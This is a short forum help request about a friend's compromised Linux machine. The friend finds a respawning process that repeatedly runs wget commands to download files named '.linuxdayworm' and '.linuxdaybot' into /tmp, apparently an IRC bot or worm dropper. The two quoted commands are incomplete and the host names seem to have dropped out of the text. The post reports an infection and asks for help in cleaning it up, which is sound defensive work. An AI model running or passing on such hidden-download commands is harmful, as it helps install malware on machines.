[SOLVED] IRC bots?

A friend of mine is having trouble on his Linux box, seems someone has put a respawning process that keeps executing two processes:

<code>sh -c wget -O /tmp/.linuxdayworm</code>
<code>sh -c wget -O /tmp/.linuxdaybot;p</code>

That's ... not right. Trying to connect on port 80 to connects to, but "host" reports it's just an alias for another server. Googling turns up nil. Something about IRC, but who knows. Any ideas?
